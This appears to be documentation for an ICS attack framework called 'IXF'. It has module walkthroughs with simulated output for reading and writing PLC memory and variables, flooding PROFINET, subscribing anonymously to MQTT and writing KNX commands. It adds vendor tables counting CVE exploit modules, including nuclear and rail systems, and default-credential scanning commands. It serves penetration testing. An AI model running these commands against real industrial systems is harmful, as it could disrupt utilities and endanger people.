[i] MITRE ATT&CK for ICS: T0855 (Unauthorized Command Message), T0802
Description: MQTT (Message Queuing Telemetry Transport) is widely used in IIoT for lightweight publish/subscribe messaging. Industrial IoT gateways, edge devices, and cloud connectors use MQTT brokers (Mosquitto, EMQX, HiveMQ) on port 1883 (plaintext) or 8883 (TLS). Many deployments run without authentication (allow_anonymous true in mosquitto.conf), exposing all topic data to any subscriber on the network.
Example Usage:
ixf > use exploits/protocols/mqtt/mqtt_anonymous_subscribe
[*] Module loaded: MQTT Anonymous Subscribe All Topics
ixf (MQTT Anonymous Subscribe All Topics) > set target 10.0.0.5
[*] target => 10.0.0.5
ixf (MQTT Anonymous Subscribe All Topics) > run
[SIMULATE MODE — no packets sent]
Step 1: Connect MQTT to 10.0.0.5:1883 with no credentials
Step 2: Subscribe to wildcard topic '#' (all topics)
Step 3: Collect all published messages:
- Process values (temperature, pressure, flow)
- Alarm states
- Device configurations
- Engineering data
[i] In live mode: would expose all industrial telemetry to attacker
[i] MITRE ATT&CK for ICS: T0802 (Automated Collection)
Description: PROFINET DCP (Discovery and Configuration Protocol) is the Layer 2 protocol used by Siemens, Beckhoff, WAGO, and other PROFINET devices for automatic discovery and configuration. DCP runs over raw Ethernet (EtherType 0x8892) via broadcast. Malformed DCP Identify Requests can cause some devices to crash or reset (CVE-2019-13946).
Example Usage:
ixf > use exploits/protocols/profinet/profinet_dcp_flood
[*] Module loaded: PROFINET DCP Identify Flood
ixf (PROFINET DCP Identify Flood) > set interface eth0
[*] interface => eth0
ixf (PROFINET DCP Identify Flood) > run
[SIMULATE MODE — no packets sent]
Step 1: Craft PROFINET DCP Identify All request
EtherType: 0x8892
FrameID: 0xFEFE (DCP Identify All)
ServiceID: 0x05 (Identify)
ServiceType: 0x00 (Request)
Step 2: Send broadcast to FF:FF:FF:FF:FF:FF
Step 3: Collect all DCP Identify Response frames:
- Name of Station (station name)
- IP Address assigned
- Device Vendor (from IANA)
- Device Role (controller/device/supervisor)
- Device Options (capabilities)
Description: OPC DA (Data Access) is the original Windows-based OPC standard, using Microsoft COM/DCOM for inter-process communication. It runs through the Windows RPC endpoint mapper (port 135) and dynamically assigned high ports. OPC DA servers are common in legacy Wonderware, Intellution (GE iFIX), and Kepware SCADA installations. DCOM configuration is notoriously complex and often left permissive.
Example Usage:
ixf > use exploits/protocols/opc_da/opc_da_tag_enum
[*] Module loaded: OPC DA Tag Enumeration via DCOM
ixf (OPC DA Tag Enumeration via DCOM) > set target 192.168.1.10
[*] target => 192.168.1.10
ixf (OPC DA Tag Enumeration via DCOM) > run
[SIMULATE MODE — no packets sent]
Step 1: Enumerate DCOM objects via RPC EndpointMapper (port 135)
Step 2: Find OPC DA server ProgID: 'RSLinx.Application' or 'Kepware.KepServerEX.V6'
Step 3: CreateInstance OPC Server object
Step 4: IOPCServer::BrowseOPCItemIDs — enumerate all tag names and branches
Step 5: IOPCServer::ValidateItems — validate accessible items
Step 6: Report all tag names, data types, access rights
Description: FINS (Factory Interface Network Service) is Omron's proprietary network protocol for CS/CJ/CP/NX/NJ series PLCs and CX-Programmer communication. FINS UDP runs on port 9600. FINS has no authentication — any host that can reach UDP/9600 can send FINS commands. The Memory Area Read command allows reading any PLC memory area (DM, I/O, HR, TIM, CNT, EM, EM extended).
Example Usage:
ixf > use exploits/protocols/fins/fins_memory_read
[*] Module loaded: Omron FINS Memory Area Read
ixf (Omron FINS Memory Area Read) > set target 192.168.1.150
[*] target => 192.168.1.150
ixf (Omron FINS Memory Area Read) > run
[SIMULATE MODE — no packets sent]
Step 1: Send FINS/UDP command (Memory Area Read):
ICF: 80 RSV: 00 GCT: 02 DNA: 00 DA1: 00 DA2: 00
SNA: 00 SA1: 08 SA2: 00
MRC: 01 SRC: 01 (Memory Area Read command)
Area: 82 (DM = Data Memory area)
Addr: 00 00 Bit: 00 Count: 00 0A (10 words)
Step 2: Receive FINS response with DM0-DM9 word values
Step 3: Report PLC memory contents
[i] DM area typically contains setpoints, counters, configuration data
Description: Beckhoff ADS (Automation Device Specification) / AMS (Automation Message Specification) is Beckhoff's proprietary protocol for TwinCAT PLC communication. ADS runs over TCP port 48898. With a valid AMS Net ID (typically matching the device IP), an attacker can read/write any PLC variable by name or index group, load/unload PLC programs, and stop/start the TwinCAT runtime.
Example Usage:
ixf > use exploits/protocols/ads/ads_variable_write
[*] Module loaded: Beckhoff ADS Variable Write
ixf (Beckhoff ADS Variable Write) > set target 192.168.1.80
[*] target => 192.168.1.80
ixf (Beckhoff ADS Variable Write) > run
[SIMULATE MODE — no packets sent]
Step 1: Connect TCP to 192.168.1.80:48898
Step 2: Build AMS/TCP header: Net ID 192.168.1.80.1.1, Port 851 (PLC runtime)
Step 3: ADS Write command: Index Group=0x4020 (data area), Index Offset=var_offset
Step 4: Data: new variable value bytes
Step 5: ADS Response: Error Code 0x0000 (success)
[i] Impact: Arbitrary PLC variable write without authentication
Description: Unitronics PCOM is the proprietary protocol for Unitronics Vision and Unistream PLCs. Port 20256. PCOM allows full PLC memory read/write without authentication. Unitronics PLCs were famously attacked in the CISA/FBI 2023 advisory targeting water utility PLCs (Aliquippa Municipal Water Authority), where attackers accessed internet-exposed PLCs via default credentials and PCOM.
Example Usage:
ixf > use scanners/ics/pcom_scanner
[*] Module loaded: Unitronics PCOM Scanner
ixf (Unitronics PCOM Scanner) > set target 192.168.1.0/24
[*] target => 192.168.1.0/24
ixf (Unitronics PCOM Scanner) > run
[SIMULATE MODE — no packets sent]
Step 1: TCP connect to each host on port 20256
Step 2: Send PCOM Info Request frame:
/OPLC_UNIT_ID CC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \r
Step 3: Parse response: model, OS version, application info, PLC ID
Step 4: Report all Unitronics PLCs found with version info
[i] Affected devices often include: Vision 700, Vision 1040, UniStream 7
Description: KNX/EIB is the dominant building automation protocol in Europe for residential and commercial buildings. KNXnet/IP (UDP 3671) allows control of lighting, blinds, heating, ventilation, and security systems from IP networks. Group address writes can directly control any KNX device on the bus without authentication.
Example Usage:
ixf > use exploits/protocols/knx/knx_group_write
[*] Module loaded: KNX Group Address Write
ixf (KNX Group Address Write) > set target 192.168.1.250
[*] target => 192.168.1.250
ixf (KNX Group Address Write) > set group_address "1/0/1"
[*] group_address => 1/0/1
ixf (KNX Group Address Write) > run
[SIMULATE MODE — no packets sent]
Step 1: Send KNXnet/IP Tunneling Request to 192.168.1.250:3671
Step 2: CEMI L_DATA.REQ with:
Priority: Normal
Destination (group): 1/0/1 (typical: main lighting switch)
APDU: GroupValueWrite (0x0080) data=0x01 (ON)
Step 3: KNX bus devices subscribed to group 1/0/1 receive command
Step 4: Lighting actuator activates
Description: HART (Highway Addressable Remote Transducer) is the most widely deployed field instrument protocol (>80 million devices). HART-IP (port 5094 TCP) carries HART commands over Ethernet for remote instrument access. HART devices expose: process variable, device identification, configuration parameters, and diagnostic information.
Description: CANopen (CiA DS-301) is widely used in embedded machine control, robotics, and autonomous vehicles. IXF attacks CANopen via gateway TCP bridges. NMT (Network Management) commands can stop/reset any node on the CANopen network.
Description: CC-Link IE Field is Mitsubishi's high-speed Gigabit Ethernet fieldbus for MELSEC iQ-R, iQ-F, and Q/L series PLCs. Used throughout Asian manufacturing. The protocol has minimal authentication.
Description: SECS/GEM (SEMI Equipment Communications Standard / Generic Equipment Model) is the standard for semiconductor fab equipment communication. HSMS (High Speed Message Services) carries SECS over TCP port 5000. S1F1/S1F2 (Are You There / On-Line Data) leaks complete equipment identification including model, software revision, and supported streams/functions.
Description: EtherCAT (Ethernet for Control Automation Technology) is Beckhoff's high-speed fieldbus for motion control (sub-microsecond cycle times). EtherCAT runs at Layer 2 (EtherType 0x88A4) and requires physical access to the network. An attacker on the EtherCAT segment can inject or corrupt frames.
ixf > vendors
IXF Vendor Coverage — 150 Vendors
═══════════════════════════════════════════════════════════════════════════
Vendor Region CVE Modules
─────────────────────────────────────────────────────────────────────────
schneider_electric EU/Global 39
rockwell_automation Americas 38
siemens EU/Global 27
delta_electronics Asia 11
omron Asia 12
abb EU/Global 22
honeywell Americas 20
ge_vernova Americas 18
emerson Americas 16
aveva_osisoft Americas 14
advantech Asia 15
inductive_automation Americas 5
tridium Americas 5
yokogawa Asia 5
beckhoff EU 5
phoenix_contact EU 6
ge_multilin Americas 4
weintek Asia 2
delta_controls Americas 1
fatek Asia 2
mitsubishi_electric Asia 3
fanuc Asia 2
yaskawa Asia 2
keyence Asia 2
panasonic Asia 1
fuji_electric Asia 2
jtekt Asia 2
hiwin Asia 1
vigor Asia 1
ls_electric Asia 1
hollysys Asia 2
supcon Asia 1
inovance Asia 1
invt Asia 1
chint Asia 1
kinco Asia 1
delixi Asia 1
step_electric Asia 1
wago EU 2
pilz EU 1
b_and_r_automation EU 2
festo EU 1
endress_hauser EU 2
pepperl_fuchs EU 1
sick_ag EU 2
hms_networks EU 2
belden_hirschmann EU 2
westermo EU 1
ruggedcom EU 2
metso_valmet EU 1
danfoss EU 1
krohne EU 2
lenze EU 1
hilscher EU 1
softing EU 2
saia_burgess EU 1
sauter_ag EU 1
distech_controls EU 1
sofrel EU 1
aspentech Americas 1
automation_direct Americas 1
red_lion Americas 1
opto22 Americas 1
prosoft_technology Americas 2
bedrock_automation Americas 1
moore_industries Americas 1
sensata Americas 1
s_and_c_electric Americas 1
compressor_controls Americas 1
flowserve Americas 1
weatherford Americas 1
sierra_wireless Americas 1
automated_logic Americas 1
kmc_controls Americas 1
grundfos EU/Americas 2
westinghouse Americas 1
weg Americas 2
altus Americas 1
novus Americas 1
elipse_software Americas 2
smar Americas 1
digicon Americas 1
kongsberg EU 1
schweitzer_engineering Americas 4
alstom_ge_power EU/Americas 2
hitachi_energy EU/Asia 3
landis_gyr EU 2
itron Americas 2
ptc_thingworx Americas 1
cisco_industrial Americas 3
teltonika EU 1
framatome EU 1
wabtec Americas 1
thales EU 1
─────────────────────────────────────────────────────────────────────────
Total: 150 vendors covered
═══════════════════════════════════════════════════════════════════════════
ixf > vendors europe
Vendors — Europe (26 covered)
─────────────────────────────────────────────────────────────────────────
Siemens Germany 27 CVE modules
Schneider Electric France 39 CVE modules
ABB Switzerland 22 CVE modules
Beckhoff Germany 5 CVE modules
Phoenix Contact Germany 6 CVE modules
WAGO Germany 2 CVE modules
Pilz Germany 1 CVE modules
B&R Automation Austria 2 CVE modules
Festo Germany 1 CVE modules
Endress+Hauser Switzerland 2 CVE modules
Pepperl+Fuchs Germany 1 CVE modules
SICK AG Germany 2 CVE modules
HMS Networks Sweden 2 CVE modules
Belden/Hirschmann Germany 2 CVE modules
Westermo Sweden 1 CVE modules
Ruggedcom (Siemens)Germany 2 CVE modules
Metso/Valmet Finland 1 CVE modules
Danfoss Denmark 1 CVE modules
Krohne Germany 2 CVE modules
Lenze Germany 1 CVE modules
Hilscher Germany 1 CVE modules
Softing Germany 2 CVE modules
Saia-Burgess Switzerland 1 CVE modules
Sauter AG Switzerland 1 CVE modules
Distech Controls France 1 CVE modules
Sofrel France 1 CVE modules
ixf > vendors americas
Vendors — Americas (31 covered)
─────────────────────────────────────────────────────────────────────────
Rockwell Automation USA 38 CVE modules
Honeywell USA 20 CVE modules
Emerson USA 16 CVE modules
GE / GE Vernova USA 18 CVE modules
Inductive Automation USA 5 CVE modules
Tridium USA 5 CVE modules
AVEVA / OSIsoft USA 14 CVE modules
AspenTech USA 1 CVE modules
AutomationDirect USA 1 CVE modules
Red Lion Controls USA 1 CVE modules
Opto 22 USA 1 CVE modules
ProSoft Technology USA 2 CVE modules
Bedrock Automation USA 1 CVE modules
Moore Industries USA 1 CVE modules
Sensata USA 1 CVE modules
S&C Electric USA 1 CVE modules
Compressor Controls USA 1 CVE modules
Flowserve USA 1 CVE modules
Weatherford USA 1 CVE modules
Sierra Wireless Canada 1 CVE modules
Delta Controls Canada 1 CVE modules
Automated Logic USA 1 CVE modules
KMC Controls USA 1 CVE modules
Grundfos Denmark/USA 2 CVE modules
Westinghouse USA 1 CVE modules
WEG Brazil 2 CVE modules
ALTUS Brazil 1 CVE modules
Novus Brazil 1 CVE modules
Elipse Software Brazil 2 CVE modules
Smar Brazil 1 CVE modules
Digicon Brazil 1 CVE modules
ixf > vendors asia
Vendors — Asia-Pacific (24 covered)
─────────────────────────────────────────────────────────────────────────
Yokogawa Japan 5 CVE modules
Omron Japan 12 CVE modules
Mitsubishi Elec. Japan 3 CVE modules
FANUC Japan 2 CVE modules
Yaskawa Japan 2 CVE modules
Keyence Japan 2 CVE modules
Panasonic Japan 1 CVE modules
Fuji Electric Japan 2 CVE modules
JTEKT Japan 2 CVE modules
HIWIN Taiwan 1 CVE modules
Weintek Taiwan 2 CVE modules
Delta Electronics Taiwan 11 CVE modules
Fatek Automation Taiwan 2 CVE modules
Vigor Taiwan 1 CVE modules
LS Electric Korea 1 CVE modules
Hollysys China 2 CVE modules
Supcon China 1 CVE modules
Inovance China 1 CVE modules
INVT China 1 CVE modules
CHINT China 1 CVE modules
Kinco China 1 CVE modules
Delixi China 1 CVE modules
STEP Electric China 1 CVE modules
Kongsberg Norway 1 CVE modules
| Vendor | Country | Key Products | CVEs | IXF Modules |
|---|---|---|---|---|
| Siemens | Germany | S7-1200/1500/300/400, WinCC, PCS 7, SCALANCE X, Desigo CC, SINEMA | 27 |
cve/siemens/* (27 modules) |
| Schneider Electric | France | Modicon M340/M580/Quantum, EcoStruxure, IGSS SCADA, ConneXium, APC | 39 |
cve/schneider/* (39 modules) |
| ABB | Switzerland | System 800xA, AC500, Relion 670, RTU500, B&R Automation (acquired) | 22 |
cve/abb/* (22 modules) |
| Beckhoff | Germany | TwinCAT 2/3, EtherCAT, CX2040, BK9000, ADS protocol | 5 |
cve/beckhoff/* (5 modules) |
| Phoenix Contact | Germany | PLCnext Technology, WebVisit HMI, FL mGuard firewall, Radioline | 6 |
cve/phoenix_contact/* (6 modules) |
| WAGO | Germany | PFC100, PFC200, 750 Series I/O, Cockpit web server | 2 |
cve/wago/* (2 modules) |
| Pilz | Germany | PNOZmulti 2, PSS4000, PITreader, PMC Safety | 1 |
cve/pilz/* (1 module) |
| B&R Automation | Austria | APROL DCS, X20 I/O, Automation PC 910, ctrlX Drive | 2 |
cve/b_and_r/* (2 modules) |
| Festo | Germany | CPX-AP-I, AX axis controller, CECC PLC | 1 |
cve/festo/* (1 module) |
| Endress+Hauser | Switzerland | Fieldgate FXA42, Memograph M RSG45, VEGAPULS web server | 2 |
cve/endress_hauser/* (2 modules) |
| Pepperl+Fuchs | Germany | IO-Link Masters, VisuNet, WirelessHART adapters | 1 |
cve/pepperl_fuchs/* (1 module) |
| SICK AG | Germany | S3000 safety scanner, Flexi Soft, Inspector I40x camera | 2 |
cve/sick_ag/* (2 modules) |
| HMS Networks | Sweden | Anybus X-Gateway, eWON Flexy IoT router, Ewon Talk2M | 2 |
cve/hms_networks/* (2 modules) |
| Belden / Hirschmann | Germany | Eagle One firewall, RSPE managed switches, BAT wireless | 2 |
cve/belden_hirschmann/* (2 modules) |
| Westermo | Sweden | Lynx managed industrial switches, Wolverine DSL | 1 |
cve/westermo/* (1 module) |
| Ruggedcom (Siemens) | Germany | ROS (Rugged OS), ROX II, RS910 switch, RSG2100 | 2 |
cve/ruggedcom/* (2 modules) |
| Metso / Valmet | Finland | DNA DCS, neles ValvGuard, Mapex MES | 1 |
cve/metso/* (1 module) |
| Danfoss | Denmark | VLT/VACON variable frequency drives, AK-SC255 SCADA | 1 |
cve/danfoss/* (1 module) |
| Krohne | Germany | SUMMIT 8800 flow computers, Optiflux 5000 | 2 |
cve/krohne/* (2 modules) |
| Lenze | Germany | i550 series drives, ECS servo, L-force Controller | 1 |
cve/lenze/* (1 module) |
| Hilscher | Germany | netX90/netX100 SoC, cifX PC cards, NXTANALYZER | 1 |
cve/hilscher/* (1 module) |
| Softing | Germany | DataFEED OPC Suite, edgeConnector, OT Security Box | 2 |
cve/softing/* (2 modules) |
| Saia-Burgess | Switzerland | PCD Series PLC, SBC Vision HMI, Enerex energy meter | 1 |
cve/saia_burgess/* (1 module) |
| Sauter AG | Switzerland | moduWeb Vision building control server | 1 |
cve/sauter/* (1 module) |
| Distech Controls | France | ECLYPSE BACnet/IP controller, EC-Net 4 | 1 |
cve/distech/* (1 module) |
| Sofrel | France | LS-4x water/wastewater RTU, SCADA-Pack Link | 1 |
cve/sofrel/* (1 module) |
| Vendor | Country | Key Products | CVEs | IXF Modules |
|---|---|---|---|---|
| Rockwell Automation | USA | ControlLogix 5580, CompactLogix 5380, FactoryTalk, Studio 5000 | 38 |
cve/rockwell/* (38 modules) |
| Honeywell | USA | Experion PKS, Spyder BAS, Enraf 854 ATG, Safety Manager | 20 |
cve/honeywell/* (20 modules) |
| Emerson | USA | DeltaV DCS, ROC800 RTU, Fisher FIELDVUE digital valve | 16 |
cve/emerson/* (16 modules) |
| GE / GE Vernova | USA | CIMPLICITY, iFIX, GE Grid Solutions SCADA, UR protection relays | 18 |
cve/ge/* (18 modules) |
| Inductive Automation | USA | Ignition SCADA platform, Tag Historian, WebDev | 5 |
cve/inductive_automation/* (5 modules) |
| Tridium | USA | Niagara 4 Framework, AX Series, JACE-8000 controller | 5 |
cve/tridium/* (5 modules) |
| AVEVA / OSIsoft | USA | AVEVA System Platform, OSIsoft PI Server, PI AF | 14 |
cve/aveva/* (14 modules) |
| AspenTech | USA | Aspen InfoPlus.21 historian, Aspen HYSYS | 1 |
cve/aspentech/* (1 module) |
| AutomationDirect | USA | CLICK Plus PLC, DirectLogix DL205/405, C-more HMI | 1 |
cve/automation_direct/* (1 module) |
| Red Lion Controls | USA | Crimson 3.x HMI/SCADA, RAM 9000 RTU | 1 |
cve/red_lion/* (1 module) |
| Opto 22 | USA | groov EPIC PR1, groov RIO EM22, groov View SCADA | 1 |
cve/opto22/* (1 module) |
| ProSoft Technology | USA | RadioLinx ControlScape, ICX35 cellular gateway | 2 |
cve/prosoft/* (2 modules) |
| Bedrock Automation | USA | Open Secure PLC, Bedrock Fusion controller | 1 |
cve/bedrock/* (1 module) |
| Moore Industries | USA | SPC signal processor, NET concentrator | 1 |
cve/moore_industries/* (1 module) |
| Sensata | USA | Beacon RTU, Dimensions wireless RTU | 1 |
cve/sensata/* (1 module) |
| S&C Electric | USA | PureWave BESS, GeoScale switching | 1 |
cve/s_and_c/* (1 module) |
| Compressor Controls | USA | TurboControl MkV turbine controller | 1 |
cve/compressor_controls/* (1 module) |
| Flowserve | USA | PumpWorks 710 controller | 1 |
cve/flowserve/* (1 module) |
| Weatherford | USA | CygNet SCADA oil & gas platform | 1 |
cve/weatherford/* (1 module) |
| Sierra Wireless | Canada | AirLink RV55, AirLink MG90 industrial router | 1 |
cve/sierra_wireless/* (1 module) |
| Delta Controls | Canada | ORCAview BAS controller, delta ENTELIWEB | 1 |
cve/delta_controls/* (1 module) |
| Automated Logic | USA | WebCTRL BAS, ALC EIKON DDC controllers | 1 |
cve/automated_logic/* (1 module) |
| KMC Controls | USA | Commander BACnet field controller | 1 |
cve/kmc_controls/* (1 module) |
| Grundfos | Denmark/USA | CUE pump frequency converter, WebPump | 2 |
cve/grundfos/* (2 modules) |
| Westinghouse | USA | Common Q Nuclear I&C system | 1 |
cve/westinghouse/* (1 module) |
| WEG | Brazil | CFW-11 variable frequency drive, Motor Scan IIoT | 2 |
cve/weg/* (2 modules) |
| ALTUS | Brazil | Duo PLC series, Next PLC, Prime HMI | 1 |
cve/altus/* (1 module) |
| Novus | Brazil | digiRail NXT, LogBox 3G temperature controllers | 1 |
cve/novus/* (1 module) |
| Elipse Software | Brazil | E3 SCADA, Epics, Elipse Power | 2 |
cve/elipse/* (2 modules) |
| Smar | Brazil | ProcessView SCADA, LD303 transmitter | 1 |
cve/smar/* (1 module) |
| Digicon | Brazil | RTU-1200 data concentrators, SCADA-Net | 1 |
cve/digicon/* (1 module) |
| Vendor | Country | Key Products | CVEs | IXF Modules |
|---|---|---|---|---|
| Yokogawa | Japan | CENTUM VP DCS, FAST/TOOLS SCADA, STARDOM FCN/FCJ | 5 |
cve/yokogawa/* (5 modules) |
| Omron | Japan | NX701/NX1P2 controller, CJ2M, CP2E, Sysmac Studio | 12 |
cve/omron/* (12 modules) |
| Mitsubishi Electric | Japan | MELSEC iQ-R/Q/F series, GENESIS64 SCADA, MELSOFT | 3 |
cve/mitsubishi/* (3 modules) |
| FANUC | Japan | 0i CNC controller, Robot controller R-30iB | 2 |
cve/fanuc/* (2 modules) |
| Yaskawa | Japan | Sigma-7 servo, MP3300 machine controller | 2 |
cve/yaskawa/* (2 modules) |
| Keyence | Japan | KV-8000/5500 PLC, VT5 HMI, SR-G series | 2 |
cve/keyence/* (2 modules) |
| Panasonic | Japan | FP7 PLC, FPWIN GR programming | 1 |
cve/panasonic/* (1 module) |
| Fuji Electric | Japan | MICREX-SX, Monitouch V9 HMI, Frenic VFD | 2 |
cve/fuji_electric/* (2 modules) |
| JTEKT | Japan | TOYOPUC PLC (PC10G/PC3J), JTEKT EtherNet/IP | 2 |
cve/jtekt/* (2 modules) |
| HIWIN | Taiwan | MC Series motion controller, E1 servo drive | 1 |
cve/hiwin/* (1 module) |
| Weintek | Taiwan | cMT3092X HMI, EasyBuilder Pro, cMT-SVR | 2 |
cve/weintek/* (2 modules) |
| Delta Electronics | Taiwan | DIAEnergie EMS, AS-series PLC, DVP-series, InfraSuite | 11 |
cve/delta_electronics/* (11 modules) |
| Fatek Automation | Taiwan | FBS Series PLC, FBs-EFCOM Ethernet | 2 |
cve/fatek/* (2 modules) |
| Vigor | Taiwan | VH Series PLC, VE-050W HMI | 1 |
cve/vigor/* (1 module) |
| LS Electric | Korea | XGK/XGI/XGR Series PLC, XP-Builder, LS PLC Ethernet | 1 |
cve/ls_electric/* (1 module) |
| Hollysys | China | MACS-S DCS, HolliField safety controller | 2 |
cve/hollysys/* (2 modules) |
| Supcon | China | JX-300XP/webField DCS, T-Guard SIS | 1 |
cve/supcon/* (1 module) |
| Inovance | China | AM600/AM400 PLC, IS5 servo | 1 |
cve/inovance/* (1 module) |
| INVT | China | Goodrive GD350 VFD, CHV series | 1 |
cve/invt/* (1 module) |
| CHINT | China | NTCP2.0 smart circuit breaker, CHINT EMS | 1 |
cve/chint/* (1 module) |
| Kinco | China | K5 Series PLC, MT5000 HMI | 1 |
cve/kinco/* (1 module) |
| Delixi | China | CDN Series PLC, CDS5 servo | 1 |
cve/delixi/* (1 module) |
| STEP Electric | China | AC301E VFD, STEP SV-X2 servo | 1 |
cve/step_electric/* (1 module) |
| Vendor | Country | Key Products | CVEs | IXF Modules |
|---|---|---|---|---|
| Schweitzer Engineering (SEL) | USA | SEL-351 relay, SEL-5037/5056 software, SEL-651R | 4 |
cve/schweitzer/* (4 modules) |
| Alstom / GE Power | EU/USA | P40 Agile protection relay, T60 transformer protection | 2 |
cve/alstom/* (2 modules) |
| Hitachi Energy (ABB) | EU/Asia | RTU500, Relion 670/630 series, PCM600, MicroSCADA | 3 |
cve/hitachi_energy/* (3 modules) |
| GE Multilin | Canada | 850F relay, D60 line differential, F60 feeder | 2 |
cve/ge_multilin/* (2 modules) |
| Landis+Gyr | Switzerland | E360 smart meter, Gridstream RF network | 2 |
cve/landis_gyr/* (2 modules) |
| Itron | USA | Riva C smart meter, OpenWay Riva, NetworkManager | 2 |
cve/itron/* (2 modules) |
| Kongsberg | Norway | K-Pos dynamic positioning, K-Bridge navigation | 1 |
cve/kongsberg/* (1 module) |
| Vendor | Category | Key Products | CVEs | IXF Modules |
|---|---|---|---|---|
| Wabtec | Railway | EVO locomotive SCADA, Locotrol distributed power | 1 |
cve/wabtec/* (1 module) |
| Framatome | Nuclear | TELEPERM XP I&C, SIREN nuclear plant system | 1 |
cve/framatome/* (1 module) |
| Westinghouse | Nuclear | Common Q platform, PRIME I&C | 1 |
cve/westinghouse/* (1 module) |
| Thales | Critical infra | SCADA railway signaling, air traffic management | 1 |
cve/thales/* (1 module) |
| Vendor | Category | Key Products | CVEs | IXF Modules |
|---|---|---|---|---|
| Cisco Industrial | ICS Networking | IR809/IR829, IE3400, IE4000, Industrial Network Director | 3 |
cve/cisco_industrial/* (3 modules) |
| PTC / ThingWorx | IIoT Platform | ThingWorx Industrial IoT, Kepware OPC Server | 1 |
cve/ptc/* (1 module) |
| Teltonika | ICS Networking | RUT955/TRB500 industrial cellular router | 1 |
cve/teltonika/* (1 module) |
| HMS Networks | ICS Networking | Anybus X-Gateway, eWON Flexy, Ewon Talk2M | 2 |
cve/hms_networks/* (2 modules) |
To test an uncovered vendor, use protocol-specific scanners and generic credential modules:
# Discover devices on OT subnet
ixf > use scanners/ics/modbus_scanner
ixf > set target 192.168.1.0/24
ixf > run
# Protocol-specific scan after discovery
ixf > use scanners/ics/s7_comm_scanner
ixf > set target 192.168.1.50
ixf > run
# Generic default credential test
ixf > use creds/generic/http_default
ixf > set target 192.168.1.50
ixf > set port 80
ixf > run
# SNMP community string test (covers many vendors)
ixf > use creds/generic/snmp_community
ixf > set target 192.168.1.50
ixf > run
A consolidated security posture reference for all 50 protocols:
| Protocol | Auth | Encryption | Integrity | Risk if Exposed | IXF Attack Severity |
|---|---|---|---|---|---|
| Modbus TCP | None | None | None | CRITICAL | HIGH |
| Modbus RTU | None | None | None | CRITICAL | HIGH |
| Siemens S7comm | None | None | None | CRITICAL | HIGH |
| Siemens S7comm+ | TLS (hardcoded key) | TLS (broken) | TLS | CRITICAL | HIGH |
| EtherNet/IP (CIP) | Optional | Optional | Optional | CRITICAL | HIGH |
| PROFINET DCP | None | None | None | HIGH | HIGH |
| DNP3 (base) | None | None | None | CRITICAL | HIGH |
| DNP3 (SAv5) | HMAC | None | HMAC | MEDIUM | MEDIUM |
| BACnet/IP | None | None | None | HIGH | HIGH |
| BACnet/SC | TLS + cert | TLS | TLS | LOW | LOW |
| IEC 60870-5-104 | None | None | None | CRITICAL | HIGH |
| IEC 61850 MMS | Optional (TLS) | Optional | Optional | HIGH | HIGH |
| IEC 61850 GOOSE | Optional (HMAC) | None | Optional | CRITICAL | HIGH |
| OPC UA (None) | None | None | None | CRITICAL | HIGH |
| OPC UA (Sign+Encrypt) | Cert | TLS | TLS | LOW | LOW |
| OPC DA (DCOM) | Windows auth | None | None | HIGH | MEDIUM |
| Omron FINS | None | None | None | CRITICAL | HIGH |
| Unitronics PCOM | None | None | None | CRITICAL | HIGH |
| Beckhoff ADS | None | None | None | CRITICAL | HIGH |
| MQTT (anonymous) | None | None | None | HIGH | HIGH |
| MQTT (TLS+auth) | Username/cert | TLS | TLS | LOW | LOW |
| SNMP v1/v2c | Community string | None | None | HIGH | MEDIUM |
| SNMP v3 (AuthPriv) | HMAC + priv | AES | HMAC | LOW | LOW |
| PROFIBUS DP (via gw) | None | None | None | HIGH | MEDIUM |
| HART-IP | Optional | Optional | Optional | MEDIUM | MEDIUM |
| CANopen | None | None | None | HIGH | MEDIUM |
| CC-Link | None | None | None | HIGH | MEDIUM |
| EtherCAT | None | None | None | HIGH | HIGH |
| KNX/IP | Optional | Optional | Optional | HIGH | HIGH |
| LonWorks | None | None | None | MEDIUM | MEDIUM |
| SECS/GEM (HSMS) | None | None | None | HIGH | MEDIUM |
| Port | Protocol | Transport | Notes |
|---|---|---|---|
| 102 | Siemens S7comm / S7comm+ / IEC 61850 MMS | TCP | COTP over TCP; also used for MMS |
| 135 | OPC DA/DCOM | TCP | RPC endpoint mapper; dynamic high ports |
| 161 | SNMP | UDP | v1/v2c/v3; OT devices frequently exposed |
| 502 | Modbus TCP | TCP | Most common OT port; always unauthenticated |
| 1883 | MQTT | TCP | IIoT messaging; often anonymous |
| 2404 | IEC 60870-5-104 | TCP | RTU SCADA communications |
| 3671 | KNX/EIBnet | UDP | European building automation |
| 4840 | OPC UA | TCP | Also 4843 (HTTPS variant) |
| 5094 | HART-IP | TCP | HART over Ethernet |
| 5000 | SECS/GEM (HSMS) | TCP | Semiconductor fab equipment |
| 7000 | FL-NET | UDP | Fuji/JTEKT (Japan) |
| 9600 | Omron FINS | UDP/TCP | Omron CS/CJ/NJ PLCs |
| 20000 | DNP3 | TCP/UDP | Power grid RTUs |
| 20111 | Yokogawa Vnet/IP | TCP | CENTUM VP DCS |
| 20256 | Unitronics PCOM | TCP | Vision/Unistream PLCs |
| 44818 | EtherNet/IP (CIP) | TCP | Rockwell, Omron; also 2222/UDP for I/O |
| 47808 | BACnet/IP | UDP | Building automation |
| 48898 | Beckhoff ADS/AMS | TCP | TwinCAT runtime |
| 61450 | CC-Link | UDP | Mitsubishi fieldbus |
| L2 (0x8892) | PROFINET DCP | Ethernet | Broadcast discovery; no IP |
| L2 (0x88A4) | EtherCAT | Ethernet | High-speed motion control |
| L2 (0x88B8) | IEC 61850 GOOSE | Ethernet | Protection relay fast-trip |
Description: PROFIBUS DP (Decentralized Peripherals) is Siemens' master-slave fieldbus for device-level automation. It connects PLCs (masters) to distributed I/O, drives, and instruments (slaves). PROFIBUS DP runs over RS-485 at up to 12 Mbit/s. Access via IXF requires a PROFIBUS-to-Ethernet gateway (Anybus X-Gateway, HMS, or Siemens CP 5622).
IXF Attack Vector:
ixf > use exploits/protocols/profibus/profibus_read
ixf > set target 192.168.1.1 # gateway IP
ixf > set slave_addr 3 # PROFIBUS slave address
ixf > run
[SIMULATE MODE — no packets sent]
Step 1: Connect to gateway TCP on 192.168.1.1
Step 2: Send PROFIBUS DP diagnostic request to slave 3
Step 3: Read parameter block (PROFIBUS DP slot 0, index 0)
Step 4: Enumerate available slaves from GSD configuration
